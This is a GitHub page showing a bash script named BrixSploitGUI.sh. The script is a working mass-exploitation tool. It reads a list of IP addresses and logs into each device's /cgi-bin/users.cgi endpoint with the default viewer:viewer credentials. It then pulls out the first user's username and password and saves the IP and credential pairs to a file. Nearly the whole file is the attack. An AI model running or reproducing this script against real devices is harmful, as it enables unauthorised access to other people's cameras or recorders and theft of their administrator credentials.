-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathBrixSploitGUI.sh
More file actions
executable file
·21 lines (21 loc) · 975 Bytes
/
BrixSploitGUI.sh
File metadata and controls
executable file
·21 lines (21 loc) · 975 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#! /bin/bash
text="BrixSploit by EMLGaming & M00SE"
eval $(yad --name=BrixSploit --text-align="CENTER" --window-icon="logo.png" --title=BrixSploit --text="$text" \
--width=400 --form --field=Inputfile:SFL --field=Outputfile:SFL \
"" "" | awk -F'|' '{printf "INPUT=\"%s\"\nOUTPUT=\"%s\"\n", $1, $2}')
[[ -z $INPUT || -z $OUTPUT ]] && exit 1
let x=0
lines="$(wc -l $INPUT | tr -dc '[:alnum:]\n\r' | sed 's/[^0-9]*//g')"
while IFS='' read -r ip || [[ -n "$ip" ]]; do
let x++
echo "Working on IP $ip ($x/$lines)"
result="$(curl -s --fail --max-time 3 http://$ip/cgi-bin/users.cgi?action=getUsers -u viewer:viewer \
| grep -E '(User1.username|User1.password)' | grep -o -E '(userna.*|passwo.*)')"
if [ $? == 0 ]
then
echo "$ip;" | tr -d '\n' >> "$OUTPUT" 2>&1
echo "$result" | cut -d= -f2 | sed '/admin/a:' | tr -d '\n' >> "$OUTPUT" 2>&1
echo "" >> "$OUTPUT" 2>&1
fi
done < "$INPUT"
printf "\nDONE! Saved to $OUTPUT!\n"